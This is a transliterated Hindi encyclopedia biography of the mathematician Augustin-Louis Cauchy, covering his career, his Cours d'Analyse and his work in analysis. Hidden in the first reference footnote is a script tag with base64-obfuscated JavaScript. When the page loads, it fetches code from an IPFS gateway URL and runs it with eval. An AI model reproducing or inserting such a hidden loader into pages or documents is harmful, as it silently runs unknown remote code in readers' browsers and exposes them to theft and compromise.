ओग्युस्तें लुई कोशी
ogyustean luee koshi (Cauchy, Augustin Louis) phraansisi ganitajn (1789-1857 ee.). inaka janm 21 agast, 1789 ee. ko peris mean hua. 1810 ee. mean ve ek aaul se ianjiniyar banakar shairabur chale ge; vahaan laplas ki mekanik selaist (Mecanique Celeste) aur lagraanj ki phauanksyoanjanalitik (Fonctions Analytiques) ka adhyayan karate rahe. tin varsh pashchath svasth ke karan ye peris laute aur laplas aur lagraanj ke agrah par ianjiniyari tyag ganit ko apanaya.[1]
ve urvarabuddhi evan param vyutpann ganitajn the. unhoanne shreniyoan, kalpanik rashiyoan, sankhyaoan ke siddhaant, avakal samirakanoan, pratisthapan ke siddhaant, phalanoan ke siddhaant, saranikoan, parinamy-phalan-kalan, ganitiy khagol shasr, prakashiki aur pratyasthata ityadi ki shuddh evan aprayukt donoan shakhaoan par anveshan kie. 1821 ee. mean apane ‘koor’ danalij d lekaul r aauyal politeknik (Coursa Analyse de 1 Eole Royal Polytechnique) ko prakashit kar inhoanne vishleshan mean aankaganitikaran yug ka shriganesh kiya. sarvapratham koshi ne hi telar ke nirmey ka nirdosh praman aur chalan kalan ke mool siddhaantoan ki apane navin phalan ke siddhaant evan sima ke niyam par adharit atishodhit vyakhya pradan ki. 23 march, 1857 ee. ko unaka dehaant hua.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 3 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 190 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-sha. a. valjoan : l baroan ogyustean koshi-sa. vi. e se travo, 1868 ee..
sanbandhit lekh
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varnamala kramanusar lekh khoj
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